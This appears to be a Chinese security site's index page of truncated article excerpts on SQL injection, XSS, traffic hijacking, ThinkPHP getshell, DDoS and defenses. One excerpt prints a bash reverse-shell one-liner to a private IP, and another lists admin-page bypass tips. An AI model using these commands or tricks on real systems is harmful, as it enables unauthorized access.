小编 SQL注入攻击(攻击与防范)
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安...
劫持流量原理是什么？关于劫持流量的种类和产生
在鼠标点击的一刹那，流量在用户系统中流过层层节点，在路由的指引下奔向远程服务器。这段路程中短兵相接的战斗往往是最激烈的，在所有流量可能路过的节点往往都埋伏着劫持者，流量劫持的手段也层出不穷，从主页配置篡改、hosts劫持、进程Hook、启动劫持、LSP...
中国南海和东南亚问题相关的网络攻击组织 捕获Patchwork APT攻击
南海仲裁这样的闹剧昨天还是宣布了一个可笑的判决，我泱泱大国昨天在海南广东等地派出的各种军队战舰证明这次我们可不是说着玩玩。“若有战，召必回”湿了多少人的眼眶。这边，黑客军团里，也开始借南海问题各种攻击。 最近，一个与东南亚和中国...
SQL注入黑客防线网站实例分析
今天到黑防站上去看看文章，可能出于“职业”习惯，看到?classid=1之类的东东就不由自主的想加点什么参数进去。 当在页面http://www.hacker.com.cn/article/index.asp?classid=3...
网站个人渗透技巧收集与总结
1.利用网站过滤不严直接绕过后台验证，在网站后面加上 admin/session.asp 或 admin/left.asp 2.有的网站进后台会出现一个脚本提示框，输入：administrator 即可突破！admin代表以管理员身份进入的意思。 3....
Linux 下多种编程语言的反弹 shell 方法
bash命令：bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 perl版本：perl -e \’use Socket;$i="10.0.0.1";$p=1234;...
网站MYSQL数据库高级爆错注入原分析
这里主要用了mysql的一个BUG ：http://bugs.mysql.com/bug.php?id=8652 grouping on certain parts of the result from rand, causes a duplicate...
thinkphp代码执行getshell的漏洞解决
先来简单说说前天thinkphp官方修复的一个getshell漏洞，框架对控制器没有进行足够的检测导致的一处getshell 影响的范围: 5.x < 5.1.31, <= 5.0.23 漏洞危害: 导致系统被提权(你懂的) 这里附上一个自...
详解如何通过“鼠洞”控制电脑
入侵电脑防御是为了更好的做好防御准备，网络安全需要我们大家来维护，一起来看看通过“鼠洞”控制电脑吧。 通过“鼠洞”控制你的电脑 夜黑风高，一个黑色的身影窜入了一间电脑机房。熟练地打开了一台保存...
分享PHP场景中getshell防御思路
1 背景概述 WEB应用漏洞导致的入侵时有发生，扫描器和WAF并不能解决所有的问题，于是尝试在主机侧针对PHP环境做了一个防御方案。很荣幸的邀请到TSRC部分白帽子做了一次对抗演习，本文主要分享一下防御思路。 防御方案主要想解决的问题是getshell...
XSS攻击常识及常用脚本
一、什么是XSS? XSS全称是Cross Site Scripting即跨站脚本，当目标网站目标用户浏览器渲染HTML文档的过程中，出现了不被预期的脚本指令并执行时，XSS就发生了。 二、XSS分类 XSS有三类：反射型XSS(非持久型)、存储型XS...
浅谈史上最大DDoS攻击的本质与防范
ddos攻击的意思是指借助于客户/服务器技术，将多个计算机联合起来作为攻击平台，对一个或多个目标发动DDoS攻击，最后可以成倍地提高拒绝服务攻击的威力。 DDos攻击在今天看来并不新鲜，近两年来发展态势也渐趋平缓，直至一个月前，欧洲反垃圾邮件组织Spa...
